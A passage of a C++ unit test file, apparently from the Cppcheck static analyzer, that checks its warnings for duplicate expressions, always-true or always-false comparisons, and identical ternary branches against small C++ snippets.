{}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 